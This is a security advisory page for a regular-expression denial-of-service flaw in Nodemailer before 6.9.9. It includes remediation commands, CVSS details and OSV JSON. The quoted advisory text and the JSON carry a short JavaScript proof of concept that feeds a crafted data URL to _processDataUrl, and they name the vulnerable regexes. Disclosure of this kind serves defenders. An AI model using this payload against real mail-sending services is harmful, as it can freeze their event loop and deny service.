GHSA-9h6g-pr28-7cqp: Nodemailer Denial of Service Vulnerability

MODERATE
CVSS 5.3
CWE-1333
Published
Advisory Summary

GHSA-9h6g-pr28-7cqp is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Nodemailer libraries in the npm ecosystem. The issue involves nodemailer redos when trying to send a specially crafted email. Remediation is available by upgrading affected packages to version 6.9.9.

GHSA-9h6g-pr28-7cqp at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-9h6g-pr28-7cqp
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Nodemailer
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix GHSA-9h6g-pr28-7cqp

To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nodemailer fixed: 6.9.9
npm install nodemailer@6.9.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls nodemailer

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-9h6g-pr28-7cqp, inspect your project dependencies using npm:

npm ls nodemailer

Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.9.9), your application is affected.

Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop. Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop. ### Details Regex: /^data:((?:[^;]*;)*(?:[^,]*)),(.*)$/ Path: compile -> getAttachments -> _processDataUrl Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/ Path: _convertDataImages ### PoC https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698 ```js async function exploit() { const MailComposer = require(\"nodemailer/lib/mail-composer\"); const MailComposerObject = new MailComposer(); // Create a malicious data URL that will cause excessive backtracking // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '=='; // Call the vulnerable method with the crafted input const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl }); } await exploit(); ``` ### Impact ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.

GHSA-9h6g-pr28-7cqp Affected Nodemailer Versions

1 component(s)
Fixed Versions:
6.9.9
Product / Package Ecosystem Affected Versions Fixed Version
nodemailer
npm
< 6.9.9
6.9.9

References

Frequently Asked Questions

What is GHSA-9h6g-pr28-7cqp?
GHSA-9h6g-pr28-7cqp is a security vulnerability in Nodemailer involving nodemailer ReDoS when trying to send a specially crafted email under CWE-1333: Inefficient Regular Expression Complexity.
Which Nodemailer versions are affected?
Affected versions include releases prior to 6.9.9 across affected packages: nodemailer.
What version fixes GHSA-9h6g-pr28-7cqp?
Upgrading to 6.9.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nodemailer affected?
Yes, nodemailer is affected in releases prior to 6.9.9. Upgrade your dependency to 6.9.9 or later.
What is the CVSS score of GHSA-9h6g-pr28-7cqp?
GHSA-9h6g-pr28-7cqp has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with GHSA-9h6g-pr28-7cqp?
GHSA-9h6g-pr28-7cqp is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for GHSA-9h6g-pr28-7cqp?
Run the dependency tree command: 'npm ls nodemailer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9h6g-pr28-7cqp",
  "modified" : "2025-09-03T15:21:03Z",
  "published" : "2024-01-31T22:42:54Z",
  "aliases" : [ ],
  "summary" : "nodemailer ReDoS when trying to send a specially crafted email",
  "details" : "### Summary\nA ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop. \nAnother flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop. \n\n### Details\n\nRegex: /^data:((?:[^;]*;)*(?:[^,]*)),(.*)$/\n\nPath: compile -> getAttachments -> _processDataUrl\n\nRegex: /(<img\\b[^>]* src\\s*=[\\s\"']*)(data:([^;]+);[^\"'>\\s]+)/\n\nPath: _convertDataImages\n\n### PoC\n\nhttps://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6\nhttps://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698\n\n```js\nasync function exploit() {\n   const MailComposer = require(\\\"nodemailer/lib/mail-composer\\\");\n   const MailComposerObject = new MailComposer();\n\n   // Create a malicious data URL that will cause excessive backtracking\n   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack\n   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';\n\n   // Call the vulnerable method with the crafted input\n   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });\n}\n\nawait exploit();\n```\n\n### Impact\n\nReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nodemailer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.9.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.9.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a"
  }, {
    "type" : "WEB",
    "url" : "https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6"
  }, {
    "type" : "WEB",
    "url" : "https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodemailer/nodemailer"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-01-31T22:42:54Z",
    "nvd_published_at" : null
  }
}